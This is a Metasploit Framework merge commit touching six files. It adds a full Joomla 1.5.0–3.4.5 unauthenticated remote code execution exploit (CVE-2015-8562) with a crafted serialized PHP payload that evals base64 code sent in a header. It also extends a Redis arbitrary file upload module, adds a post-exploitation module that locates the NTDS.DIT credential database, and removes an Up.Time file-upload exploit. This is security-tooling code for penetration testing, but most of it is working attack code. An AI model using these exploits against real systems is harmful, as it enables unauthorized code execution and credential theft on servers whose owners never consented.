Merge branch 'master' of https://github.com/rapid7/metasploit-framework into add_filter_to_ad_tools

bug/bundler_fix
Stuart Morgan 2015-12-20 19:43:04 +00:00
commit 43f8a35b12
6 changed files with 272 additions and 110 deletions

View File

@ -25,7 +25,11 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html']
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],
['URL', 'http://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367
['CVE', '2013-4786'],
['OSVDB', '95057'],
['BID', '61076'],
],
'DisclosureDate' => 'Jun 20 2013'
)

View File

@ -18,9 +18,8 @@ class Metasploit3 < Msf::Auxiliary
achieve somewhat arbitrary file upload to a file and directory to
which the user account running the redis instance has access. It is
not totally arbitrary because the exact contents of the file cannot
(yet) be completely controlled. Depending on the contents of the
file that is being uploaded, Redis may compress the data that is
ultimately stored in the specified target location.
be completely controlled given the nature of how Redis stores its
database on disk.
),
'License' => MSF_LICENSE,
'Author' => [
@ -32,10 +31,7 @@ class Metasploit3 < Msf::Auxiliary
['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'],
['URL', 'http://redis.io/topics/protocol']
],
'Platform' => %w(unix linux),
'Targets' => [['Automatic Target', {}]],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 11 2015'
)
)
@ -43,7 +39,8 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptPath.new('LocalFile', [false, 'Local file to be uploaded']),
OptString.new('RemoteFile', [false, 'Remote file path'])
OptString.new('RemoteFile', [false, 'Remote file path']),
OptBool.new('DISABLE_RDBCOMPRESSION', [true, 'Disable compression when saving if found to be enabled', true])
]
)
end
@ -59,6 +56,9 @@ class Metasploit3 < Msf::Auxiliary
# XXX: this is a hack -- we should really parse the responses more correctly
original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last
original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last
if datastore['DISABLE_RDBCOMPRESSION']
original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last
end
# set the directory which stores the current redis local store
data = redis_command('CONFIG', 'SET', 'dir', dirname)
@ -68,6 +68,21 @@ class Metasploit3 < Msf::Auxiliary
data = redis_command('CONFIG', 'SET', 'dbfilename', basename)
return unless data.include?('+OK')
# Compression string objects using LZF when dump .rdb databases ?
# For default that's set to 'yes' as it's almost always a win.
# If you want to save some CPU in the saving child set it to 'no' but
# the dataset will likely be bigger if you have compressible values or
# keys.
if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES'
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no')
if data.include?('+OK')
reset_rdbcompression = true
else
print_error("#{peer} -- Unable to disable rdbcompresssion")
reset_rdbcompression = false
end
end
# set a key in this db that contains our content
# XXX: this does not work well (at all) if the content we are uploading is
# multiline. It also probably doesn't work well if the content isn't
@ -76,6 +91,7 @@ class Metasploit3 < Msf::Auxiliary
data = redis_command('SET', key, content)
return unless data.include?('+OK')
data = redis_command('SAVE')
if data.include?('+OK')
print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}")
else
@ -87,6 +103,9 @@ class Metasploit3 < Msf::Auxiliary
# XXX: ensure that these get sent if we prematurely return if a previous command fails
redis_command('CONFIG', 'SET', 'dir', original_dir)
redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename)
if datastore['DISABLE_RDBCOMPRESSION'] && reset_rdbcompression
redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression)
end
redis_command('DEL', key)
redis_command('SAVE')
end

View File

@ -54,6 +54,10 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def exploit
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")

View File

@ -0,0 +1,191 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
'Description' => %q{
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
By storing user supplied headers in the databases session table it's possible to truncate the input
by sending an UTF-8 character. The custom created payload is then executed once the session is read
from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
In later versions the deserialisation of invalid session data stops on the first error and the
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
},
'Author' =>
[
'Marc-Alexandre Montpas', # discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-8562'],
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
['URL', 'https://bugs.php.net/bug.php?id=70219']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]],
'DisclosureDate' => 'Dec 14 2015',
'DefaultTarget' => 0)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
], self.class)
register_advanced_options(
[
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
], self.class)
end
def check
res = send_request_cgi({'uri' => target_uri.path })
unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
unless res.headers['X-Powered-By']
vprint_error("Unable to determine the PHP version.")
return Exploit::CheckCode::Unknown
end
php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
version = Gem::Version.new(php_version)
vulnerable = false
# check for ubuntu and debian specific versions. Was fixed in
# * 5.5.9+dfsg-1ubuntu4.13
# * 5.3.10-1ubuntu3.20
# * 5.4.45-0+deb7u1
# Changelogs (search for CVE-2015-6835 or #70219):
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
if rest && rest.include?('ubuntu')
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")
if version > Gem::Version.new('5.5.9')
vulnerable = false
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
vulnerable = false
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
vulnerable = false
else
vulnerable = true
end
elsif rest && rest.include?('+deb')
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")
if version > Gem::Version.new('5.4.45')
vulnerable = false
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
vulnerable = false
else
vulnerable = true
end
else
vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
vulnerable = true if version <= Gem::Version.new('5.4.44')
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
end
unless vulnerable
vprint_error('This module currently does not work against this PHP version')
return Exploit::CheckCode::Safe
end
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') })
if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || ''
unless joomla_version.empty?
vprint_status("Detected Joomla version #{joomla_version}")
return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6')
end
end
res.get_html_meta_elements.each do |element|
if element.attributes['name'] &&
/^generator$/i === element.attributes['name'] &&
element.attributes['content'] &&
/joomla/i === element.attributes['content'].value
return Exploit::CheckCode::Detected
end
end
Exploit::CheckCode::Safe
end
# gets a random 4 byte UTF-8 character
def get_terminator
# valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
[rand(0x10000..0x10ffff)].pack('U*')
end
def get_payload(header_name)
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
t1000 = get_terminator
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def exploit
if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false
print_error('Target seems safe, so we will not continue.')
return
end
print_status("Sending payload ...")
header_name = Rex::Text.rand_text_alpha_upper(5)
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'headers' => { datastore['HEADER'] => get_payload(header_name) }
})
fail_with(Failure::Unknown, 'No response') if res.nil?
session_cookie = res.get_cookies
send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'cookie' => session_cookie,
'headers' => {
header_name => Rex::Text.encode_base64(payload.encoded)
}
})
end
end

View File

@ -1,102 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Module::Deprecated
deprecated(Date.new(2015, 11, 27), 'exploit/multi/http/uptime_file_upload_1')
def initialize(info = {})
super(update_info(info,
'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found within the Up.Time
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
webroot without authentication, leading to arbitrary code execution.
},
'Author' =>
[
'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '100423' ],
[ 'BID', '64031'],
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
],
'Payload' =>
{
'Space' => 10000, # just a big enough number to fit any PHP payload
'DisableNops' => true
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Up.Time 7.2', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 19 2013'))
register_options([
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
Opt::RPORT(9999)
], self.class)
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
})
if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Uploading PHP to Up.Time server")
uri = target_uri.path
@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self => true)
post_data = ({
"file_name" => @payload_name,
"script" => php_payload
})
print_status("#{peer} - Uploading payload #{@payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
'vars_post' => post_data,
})
unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_cgi({
'uri' => normalize_uri(uri, 'wizards', @payload_name),
'method' => 'GET'
})
end
end

View File

@ -0,0 +1,46 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit4 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info = {})
super(update_info(info,
'Name' => 'Post Windows Gather NTDS.DIT Location',
'Description' => %q{
This module will find the location of the NTDS.DIT file (from the Registry),
check that it exists, and display its location on the screen, which is useful
if you wish to manually acquire the file using ntdsutil or vss.
},
'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter']
))
end
def run
# Find the location of NTDS.DIT in the Registry
ntds = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters', 'DSA Database file')
unless ntds
print_error('Unable to find the location of NTDS.DIT')
return
end
if file?(ntds)
f = client.fs.file.stat(ntds)
print_line("NTDS.DIT is located at: #{ntds}")
print_line(" Size: #{f.size.to_s} bytes")
print_line(" Created: #{f.ctime.to_s}")
print_line(" Modified: #{f.mtime.to_s}")
print_line(" Accessed: #{f.atime.to_s}")
else
print_error("NTDS.DIT is reportedly located at `#{ntds}', but the file does not appear to exist")
end
end
end